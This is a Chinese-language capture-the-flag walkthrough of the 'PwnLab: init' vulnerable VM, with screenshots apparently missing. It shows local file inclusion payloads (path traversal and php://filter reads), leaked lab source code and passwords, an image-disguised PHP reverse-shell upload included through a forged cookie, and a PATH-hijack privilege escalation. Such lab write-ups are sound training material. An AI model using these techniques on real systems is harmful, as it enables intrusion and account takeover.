靶機說明:
Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read de flag.
Can contact me at: claor@pwnlab.net or on Twitter: @Chronicoder
- Difficulty: Low
- Flag: /root/flag.txt
滲透過程:
本次依然采用parrot linux+windows10來作為攻擊機器,都在一個網段下,
攻擊機IP為:192.168.0.105

既然是同一局域網,我們先用nmap掃出靶機地址:

得到靶機的IP地址為:192.168.0.106
我們用nmap對這個靶機進行深度掃描:

發現開放了三個端口:80,111,3306
也發現不少服務:Apache,mysql,rpc
我們訪問靶機主頁:http://192.168.0.106

我們先不着急點擊頁面,我們先查看源代碼:

我們用dirb查看一下目錄,看有什么發現:

后三個index.php,login.php,upload.php我們都已經見過,
訪問這個config.php:

一片空白...
我們切入正題,看這個index.php:

有一句話:Use this server to upload and share image files inside the intranet
翻譯:使用此服務器在內部網中上傳和共享圖像文件
讓我更堅信這里存在文件包含漏洞
我們先看這個login:

普通的登陸框,也沒有驗證碼,經過嘗試發現弱口令,萬能密碼不行,
我們用sqlmap嘗試一下:


emmm...sqlmap好像也沒有跑成功,但一想也是,page這里雖然接受的是一個
get參數,但這是用來接受.php文件,並且include()到當前php文件中.
我們看一下upload這個頁面:

提示必須先登錄,不過我們看這個url有個/?page=upload
應為我以前遇到過這種形式,所以我推測是文件包含:
(具體看我之前的博客:http://www.cnblogs.com/bmjoker/p/8877336.html)
我們先用最基本的來嘗試:
- http://192.168.0.106/?page=/etc/passwd
- http://192.168.0.106/?page=../etc/passwd
- http://192.168.0.106/?page=../../etc/passwd
- ......
- http://192.168.0.106/?page=../../../../../../etc/passwd
發現這些都不起作用.
我們只有用偽協議來嘗試得到index的源代碼:
- http://192.168.0.106/?page=php://filter/read=convert.base64-encode/resource=index

這是一串base64編碼,我們嘗試解碼:

我們得到了index.php代碼:
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?> <html> <head> <title>PwnLab Intranet Image Hosting</title> </head> <body> <center> <img src="images/pwnlab.png"><br /> [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ] <hr/><br/> <?php if (isset($_GET['page'])) { include($_GET['page'].".php"); } else { echo "Use this server to upload and share image files inside the intranet"; } ?> </center> </body> </html>
這樣一段代碼引起了我的注意:
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?>
這里同時也存在文件包含漏洞,如果我們設置一個名稱為 lang 的文件上傳路徑的cookie,到時候就可以直接被包含在內。
同時我們也看到了文件包含的代碼:
<?php if (isset($_GET['page'])) { include($_GET['page'].".php"); } else { echo "Use this server to upload and share image files inside the intranet"; } ?>
我們順便讀出upload.php:
<?php session_start(); if (!isset($_SESSION['user'])) { die('You must be log in.'); } ?> <html> <body> <form action='' method='post' enctype='multipart/form-data'> <input type='file' name='file' id='file' /> <input type='submit' name='submit' value='Upload'/> </form> </body>
</html> <?php if(isset($_POST['submit'])) { if ($_FILES['file']['error'] <= 0) { $filename = $_FILES['file']['name']; $filetype = $_FILES['file']['type']; $uploaddir = 'upload/'; $file_ext = strrchr($filename, '.'); $imageinfo = getimagesize($_FILES['file']['tmp_name']); $whitelist = array(".jpg",".jpeg",".gif",".png"); if (!(in_array($file_ext, $whitelist))) { die('Not allowed extension, please upload images only.'); } if(strpos($filetype,'image') === false) { die('Error 001'); } if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002'); } if(substr_count($filetype, '/')>1){ die('Error 003'); } $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext; if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { echo "<img src=\"".$uploadfile."\"><br />"; } else { die('Error 4'); } } } ?>
login.php
<?php session_start(); require("config.php"); $mysqli = new mysqli($server, $username, $password, $database); if (isset($_POST['user']) and isset($_POST['pass'])) { $luser = $_POST['user']; $lpass = base64_encode($_POST['pass']); $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?"); $stmt->bind_param('ss', $luser, $lpass); $stmt->execute(); $stmt->store_Result(); if ($stmt->num_rows == 1) { $_SESSION['user'] = $luser; header('Location: ?page=upload'); } else { echo "Login failed."; } } else { ?> <form action="" method="POST"> <label>Username: </label><input id="user" type="test" name="user"><br /> <label>Password: </label><input id="pass" type="password" name="pass"><br /> <input type="submit" name="submit" value="Login"> </form> <?php }
我記得我們開始的時候用dirb掃除了一個config.php文件,我們趁機讀出它:

我們解碼分析:
我們發現mysql數據庫的用戶密碼
$server = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
同時這個靶機還開了3306數據庫默認端口,我們直接進去:


我們可以得到用戶跟密碼:
- kent:JWzXuBJJNy
- mike:SIfdsTEn6I
- kane:iSv5Ym2GRo
我們嘗試登陸:

發現是一個文件上傳,文件上傳的話,就是構造一個馬,然后用各種文件上傳的騷姿勢
,只要傳到服務器上就行,我們先來分析一下upload.php看有什么限制:

我們可以使用白名單+MIME類型的修改+重命名+文件后綴檢測就可以成功繞過!
但是有一個函數getimagesize()能夠有效的確認上傳文件是一個圖像,所以,大部分的上傳
方法都會失效,唯一的方法就是上傳一個真實的圖片通過那些驗證,而不是繞過,我們在
圖片里嵌入我們的php-reverse-shell的反彈shell的木馬,就可以監聽利用。
既然分析得差不多,我們來構造我們的圖片馬3.gif:


其中GIF89a是文件頭,用來繞過類型檢查,
(各種文件頭:https://en.wikipedia.org/wiki/List_of_file_signatures)
我們嘗試上傳:

上傳成功!上傳路徑為 http://192.168.0.106/upload/068ae40523a24c9ef54edefd375e542d.gif

我們雖然可以上傳成功,但他是gif類型的,我們的反彈shell的木馬不會被解析,也就不能使用。‘
這時候我們想到了,之前分析的index.php中的另一個關於cookie的文件包含:
<?php //Multilingual. Not implemented yet. //setcookie("lang","en.lang.php"); if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); } // Not implemented yet. ?>
這樣我們可以設置lang,偽造cookie,這樣的話就可以直接包含我們的圖片馬,
cookie偽造:cookie:lang=../upload/068ae40523a24c9ef54edefd375e542d.gif
這樣就可以成功解析我們的反彈shell的php代碼,同時在kali里面設置監聽:

然后我們抓包,修改cookie:

然后我們forward,把這個數據包發出去,cookie也就包含了這個帶有反彈shell的圖片馬
同時也會解析這個php圖片馬,反彈shell:

成功反彈shell,
我們嘗試登陸kent用戶:

.....可利用地方不多,看下一個人kane,我們登陸kane:

在kane的/home目錄下發現了一個文件msgmike:

我們找一下標識位suid為kane的用戶,也發現了這個msgmike文件:

使用file命令查看下這個文件:

從截圖可以看到,這是一個ELF 32位 LSB執行文件,但是當我們執行文件的時候,報錯了:

通過報錯信息我們可以看到msgmike調用cat命令讀取/home/mike/msg.txt文件,
針對這種情況,我們可以通過設置bash的$path環境變量來利用,通常的$PATH包含:

然而當我們調用cat命令的時候,cat會從以上目錄來尋找,如果我們添加.到$PATH環境變量,
則會先從當前目錄來尋找cat指令,相當於我們自己創建一個讀文件的cat指令,用這個指令來
讀新建取/home/mike/msg.txt文件,我們新建一個cat文件,並添加執行權限:

這樣當我們再次運行./msgmike命令的時候,就會觸發當前目錄下的cat(/bin/sh),
我們就會提升到mike權限:

我們在/home/mike這個目錄里面發現了這樣一個文件夾:

這或許能讓我們提升到root權限,我們運行,發現了一個root權限
的/bin/bash會話:


